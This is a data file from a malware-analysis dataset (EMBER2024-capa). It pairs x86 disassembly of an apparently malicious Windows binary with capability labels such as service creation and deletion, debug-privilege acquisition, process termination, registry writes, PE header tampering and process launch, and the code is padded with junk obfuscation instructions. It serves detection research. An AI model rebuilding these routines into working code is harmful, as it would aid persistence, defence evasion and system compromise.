joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4846c0
Capabilities:
Delete service
Modify service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
test esi, esi
jne 0x484739
xor eax, eax
push ebp
push 0x484717
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x484844
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [ebp - 0x10], eax
push 5
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x14], eax
push 0xffffffffffffffff
push ebx
push 0
call dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_FreeLibrary
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484721
cmp dword [ebp - 0x10], 0
je 0x484837
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_FreeLibrary
jmp 0x484837
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
setne byte [ebp - 1]
cmp byte [ebp - 1], 0
je 0x484837
xor eax, eax
push ebp
push 0x484830
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_OpenServiceA
mov ebx, eax
test ebx, ebx
setne byte [ebp - 1]
mov eax, esi
sub eax, 0x58
je 0x4847cc
sub eax, 0xb
je 0x484796
sub eax, 0x315
je 0x4847e9
jmp 0x4847f7
test ebx, ebx
je 0x484813
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0
push ebx
call sub.advapi32.dll_StartServiceA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x484813
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x420
jne 0x484813
mov byte [ebp - 1], 1
jmp 0x484813
cmp byte [ebp - 1], 0
je 0x484813
lea eax, [ebp - 0x30]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
jmp 0x484813
cmp byte [ebp - 1], 0
je 0x484813
push ebx
call sub.advapi32.dll_DeleteService
jmp 0x484813
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0x110
push ebx
call sub.advapi32.dll_ChangeServiceConfigA
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484837
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4848a8
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ebx
xor edx, edx
cmp edx, 0xffffffff
jne 0x4848be
cmp eax, 0xffffffff
je 0x4848f9
lea eax, [ebp - 4]
push eax
push 0x20
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov edx, 0x484900
mov cl, 1
mov eax, dword [ebp - 4]
call fcn.00484850
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CloseHandle
push 0
push ebx
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x484914
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x484a1d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0x484a2c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x484a64
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4849f9
mov eax, dword [ebp - 0x10]
call fcn.00402a98
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 8]
push eax
push 0
push 0x484a64
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4849ea
lea eax, [ebp - 0x14]
call fcn.00404c8c
mov edi, dword [ebp - 0x10]
sub edi, 2
test edi, edi
jl 0x4849dd
inc edi
xor esi, esi
cmp byte [ebx + esi], 0
jne 0x4849c3
lea eax, [ebp - 0x14]
mov edx, 0x484a74
call fcn.00404f54
jmp 0x4849d9
lea eax, [ebp - 0x18]
mov dl, byte [ebx + esi]
call fcn.00404e74
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
call fcn.00404f54
inc esi
dec edi
jne 0x4849ae
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
call fcn.00404ce0
jmp 0x4849f2
mov eax, dword [ebp - 4]
call fcn.00404c8c
mov eax, ebx
call fcn.00402ac8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484a24
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00404cb0
ret
Function at 0x4011c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x40120a
push ecx
mov cx, 0xec17
pop ecx
jne 0x40120a
pushfd
popfd
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x411098
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
jbe 0x401249
mov dx, dx
mov esi, esi
ja 0x401249
sub ch, byte [ebx]
cmp byte [edx - 0xb], dl
sub dword [edi - 0x73], esp
dec ebp
clc
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00404e60
add esp, 0x18
pushal
mov eax, eax
mov cx, 0xebe
popal
mov eax, dword [ebp - 4]
push eax
call fcn.004012f0
add esp, 4
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x4110b8
push eax
call fcn.00403400
add esp, 0x10
test eax, eax
jne 0x40129f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
lea ecx, [ebp - 0x10c]
push 0xffffffffffffffff
push ecx
call fcn.00404a50
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push ecx
push edx
and cx, si
cmp dx, si
xor dl, bh
or dl, 0x67
pop edx
pop ecx
mov edx, dword [ebp + 8]
cmp word [edx], 0x5a4d
je 0x401319
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push di
push eax
push ecx
test dl, cl
and di, 0x377
cmp ecx, 0x5354
pop ecx
pop eax
pop di
mov ecx, dword [edx + 0x3c]
add ecx, edx
jle 0x401341
mov si, si
mov si, si
jg 0x401341
fsub qword [ebp + 0x398192c9]
push eax
inc ebp
add byte [eax], al
cmp dword [ecx], 0x4550
je 0x401352
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
mov eax, dword [ecx + 0x58]
test eax, eax
je 0x40137a
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0x40
push edi
push ax
push dx
and ax, 0x4e68
test ch, dh
mov al, 0x4d
dec dx
and dx, cx
pop dx
pop ax
pop edi
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov eax, dword [ebp + 8]
cmp dword [eax + 0x3c], 0x80
ja 0x4013b8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
je 0x4013d0
mov si, si
xchg bx, bx
jne 0x4013d0
mov al, byte [0x4bb148d3]
outsb dx, byte [esi]
mov eax, dword [eax + 0x3c]
cmp eax, 0xc0
lea edi, [eax - 0x80]
jb 0x4013e0
mov edi, dword [ebp - 4]
jp 0x4013f7
push edi
mov di, 0xb224
pop edi
jnp 0x4013f7
xchg edx, eax
clc
mov esi, 0x34a96cf4
inc eax
lds ebp, [0x5717b43a]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jne 0x40140e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jl 0x401419
push ebx
mov bh, 0x4c
pop ebx
jge 0x401419
xchg edx, eax
cmp eax, 0xff85db33
xor ebx, ebx
test edi, edi
jbe 0x401443
push ax
push ecx
push esi
dec al
pop esi
pop ecx
pop ax
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 4]
inc ebx
cmp ebx, edi
mov byte [ebx + eax - 1], dl
jb 0x40141f
push ebx
cmp ebx, esi
sub ebx, 0x6895
sub ebx, 0x50e0
mov bx, 0x26ca
xor bl, al
pop ebx
mov edx, dword [ebp + 8]
mov ecx, edi
mov esi, eax
mov eax, ecx
lea edi, [edx + 0x80]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pushal
test si, 0x3660
add si, 0x20c2
test edi, eax
popal
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4014a0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebx
xor bx, 0x70c5
sub ebx, eax
or bx, cx
xor bl, bl
test cx, bx
cmp bh, cl
mov bh, 3
pop ebx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4014d9
pop edi
pop esi
pop ebx
pop ebp
ret
push edx
push ax
sub edx, eax
cmp dx, cx
add edx, 0x1ab
xor ax, 0x2160
test bh, dl
test di, dx
pop ax
pop edx
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x40152a
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x420
je 0x40152a
call edi
cmp eax, 0x422
je 0x40152a
push esi
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
push esi
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401860
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
mov eax, dword [ebp + 0x10]
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push 0
push 0
push eax
mov eax, dword [ebp + 0xc]
push 1
push 0
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4018a9
pop ebp
ret
je 0x4018c1
mov si, si
xchg bx, bx
jne 0x4018c1
mov al, byte [0x4bb148d3]
outsb dx, byte [esi]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop ebp
ret

Function at 0x4018d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
push eax
push edx
push esi
test si, 0x2af8
xor edx, ecx
add ax, bx
or ax, 0x11a9
pop esi
pop edx
pop eax
call fcn.00404f70
jp 0x40192e
mov ebx, ebx
mov esi, esi
xchg bx, bx
jnp 0x40192e
psrlw mm1, qword [edx + 0x13]
enter 0x626d, 0x3f
daa
in eax, 0x78
retf
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov dword [ebp - 4], ebx
call fcn.00401830
mov esi, eax
call fcn.00401830
mov edi, eax
call fcn.00401830
push esi
mov esi, dword [ebp + 0x10]
push esi
mov ebx, eax
call fcn.00404980
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00404980
push ebx
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.00404980
add esp, 0x18
lea ecx, [ebp - 0x10c]
lea edx, [ebp - 0x314]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
push 0x411098
push edx
call esi
lea eax, [ebp - 0x314]
push eax
call fcn.004047e0
add esp, 0x14
test eax, eax
je 0x4019fa
lea ecx, [ebp - 0x10c]
push edi
push ecx
lea edx, [ebp - 0x210]
push 0x4110a4
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.004047e0
add esp, 0x14
test eax, eax
je 0x4019fa
lea ecx, [ebp - 0x10c]
push ebx
push ecx
lea edx, [ebp - 0x210]
push 0x4110a4
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.004047e0
add esp, 0x14
test eax, eax
jne 0x401a0f
mov eax, dword [ebp - 4]
inc eax
cmp eax, 3
mov dword [ebp - 4], eax
jl 0x401943
mov esi, dword [ebp - 8]
jmp 0x401a14
mov esi, 1
mov ecx, dword [ebp + 0x14]
push 4
push ecx
call fcn.00404980
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
mov dword [ebp - 4], 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ecx
push edx
and cx, si
cmp dx, si
xor dl, bh
or dl, 0x67
pop edx
pop ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 0x10c]
push eax
lea edx, [ebp - 8]
push ecx
push edx
push 0x4114fc
push 0x4114d4
push SysStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
je 0x401ac8
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
jb 0x401ae0
push di
pop di
jae 0x401ae0
scasb al, byte es:[edi]
bound eax, qword [edx]
pushfd
dec esi
call 0x10187a52
test byte [eax + ebx - 0x7f], 0x4b
lea ecx, [ebp - 0x10b7b]
jmp [edx + 0x2e]
lea eax, [ebp - 0x10c]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
mov edx, eax
add esp, 8
test edx, edx
jne 0x401afd
pop edi
mov esp, ebp
pop ebp
ret
push di
push eax
push ecx
test dl, cl
and di, 0x377
cmp ecx, 0x5354
pop ecx
pop eax
pop di
lea ecx, [ebp - 0x10c]
mov byte [edx], 0
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
cmp eax, 6
jne 0x401b34
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
xor edx, edx
cmp eax, 7
sete dl
mov eax, edx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402ab0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x263]
mov byte [ebp - 0x264], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x15f]
mov byte [ebp - 0x160], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
mov edx, 1
cmp eax, ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], edx
je 0x402b05
mov ebx, edx
push eax
push ecx
dec cx
xor eax, 0x687c
test dx, cx
test ah, 0x30
mov cx, 0xcd1
pop ecx
pop eax
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
lea eax, [ebp - 0x160]
push 0x411100
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x264]
push esi
push 0x411118
push ecx
call edi
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
lea edi, [ebp - 0x160]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov dword [ebp - 0x48], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov edx, 4
dec ecx
mov dword [ebp - 0x34], 0x411140
mov dword [ebp - 0x30], 0x41114c
mov dword [ebp - 0x2c], 0x411158
mov dword [ebp - 0x28], 0x411168
mov dword [ebp - 0x24], 0x411170
mov dword [ebp - 0x5c], 2
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], edx
push eax
push ecx
dec cx
xor eax, 0x687c
test dx, cx
test ah, 0x30
mov cx, 0xcd1
pop ecx
pop eax
cmp ebx, 5
jae 0x402c22
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea esi, [ebx*4]
mov edx, dword [ebp + esi - 0x48]
mov eax, dword [ebp + esi - 0x20]
mov ecx, dword [ebp + esi - 0x5c]
push edx
mov edx, dword [ebp + esi - 0x34]
push eax
push ecx
lea eax, [ebp - 0x264]
push edx
push eax
push SysStringLen
call edi
test eax, eax
jne 0x402c2e
add esi, 4
cmp esi, 0x14
jb 0x402bf4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402cd0
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push edi
mov dword [ebp - 0xc], 0x104
js 0x402cf1
mov edx, edx
jns 0x402cf1
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp dword [ebp - 0x72720bbb], ecx
call 0x51402cf8
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x218]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x402d0b
pop edi
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0x104
mov dword [ebp - 8], 0x104
push ax
push cx
push edi
and al, dl
or ch, 0x3a
dec edi
inc edi
cmp ah, bl
xor ax, ax
cmp cl, dl
dec cl
pop edi
pop cx
pop ax
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
push edx
lea ecx, [ebp - 0x31c]
push eax
lea edx, [ebp - 4]
push ecx
lea eax, [ebp - 0x114]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x402d65
pop edi
mov esp, ebp
pop ebp
ret
push eax
xor ax, bx
pop eax
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
test eax, eax
jne 0x402d84
pop edi
mov esp, ebp
pop ebp
ret
jb 0x402d9d
push edx
mov dx, 0xecd6
pop edx
jae 0x402d9d
cmc
adc eax, 0x7c8ecb0d
xor dword [esi + 0x43d1773a], 0xb827e95e
add dword [eax], eax
add byte [eax], al
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402de0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [0x422544]
sub esp, 0x82c
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x402dfc
xor eax, eax
pop ebx
add esp, 0x82c
ret
xor eax, eax
push ebp
mov dword [esp + 9], eax
push esi
mov dword [esp + 0x11], eax
push edi
mov dword [esp + 0x19], eax
mov ecx, 0x40
mov word [esp + 0x1d], ax
lea edi, [esp + 0x2d]
mov byte [esp + 0x1f], al
mov byte [esp + 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x43d]
mov byte [esp + 0x43c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x338]
push 0x104
push ecx
mov byte [esp + 0x18], bl
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x130]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push 6
push eax
call fcn.00404980
add esp, 8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x338]
lea eax, [esp + 0x234]
push ecx
push edx
push 0x411358
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov dword [esp + 0x20], 0x4113d0
mov dword [esp + 0x24], 0x4113d4
mov dword [esp + 0x28], 0x4113e0
lea edx, [esp + 0x20]
mov ebp, 3
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x2c]
repne scasb al, byte es:[edi]
mov edi, dword [edx]
add edx, 4
not ecx
dec ecx
mov byte [esp + ecx + 0x2c], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
dec ebp
rep movsb byte es:[edi], byte [esi]
jne 0x402eda
movsx ecx, byte [esp + 0x338]
lea edx, [esp + 0x130]
push ecx
lea eax, [esp + 0x134]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x448]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x450]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x4113f8
mov byte [esp + ecx + 0x450], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x450]
push ecx
push eax
lea ecx, [esp + 0x250]
push 0x411354
push ecx
call fcn.00403400
add esp, 0x24
test eax, eax
pop edi
pop esi
pop ebp
jne 0x402fcc
pop ebx
add esp, 0x82c
ret
lea edx, [esp + 0x228]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 1
pop ebx
add esp, 0x82c
ret
Function at 0x403000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, 1
jbe 0x40301a
mov dx, dx
mov esi, esi
ja 0x40301a
sub ch, byte [ebx]
cmp byte [edx - 0xb], dl
sub dword [edi - 0x75], esp
dec ebp
or al, 0x8b
push ebp
or byte [ebp + 0x6850fc45], cl
aas
add byte [edi], cl
add byte [edx], ch
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40303e
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
jo 0x403062
push dx
mov dx, 0x7a78
pop dx
jno 0x403062
insb byte es:[edi], dx
mov bl, 0xbc
ja 0x4030cd
fdiv qword [eax - 0x7f6a6a73]
push 0x56
mov bh, byte [ecx]
mov eax, 0x8b1c458b
dec ebp
sbb byte [ebx - 0x74afebab], cl
inc ebp
adc byte [ecx - 0x75], dl
dec ebp
cld
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp - 4]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x403084
xor esi, esi
jbe 0x403096
xchg bh, bh
mov ch, ch
xchg cl, cl
ja 0x403096
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
add al, byte [eax]
add byte [eax + 0x182444c7], al
add al, 0
add byte [eax], al
call fcn.00403000
add esp, 0x18
test eax, eax
je 0x4030ee
mov eax, dword [esp + 4]
cmp eax, 5
jbe 0x4030f1
or eax, 0xffffffff
add esp, 0xc
ret

Function at 0x403400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
push esi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x403420
pop esi
pop ebx
pop ebp
ret
push ecx
cmp cl, 0x3f
or ch, dl
cmp cx, cx
or ch, 0x1f
pop ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push esi
push edx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push ebx
cmp ebx, esi
sub ebx, 0x6895
sub ebx, 0x50e0
mov bx, 0x26ca
xor bl, al
pop ebx
push esi
call dword [sym.imp.MSVCRT.dll_fflush]
jp 0x403475
push si
pop si
jnp 0x403475
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x403467
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx + 0x56], eax
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 8
mov eax, 1
pop esi
pop ebx
pop ebp
ret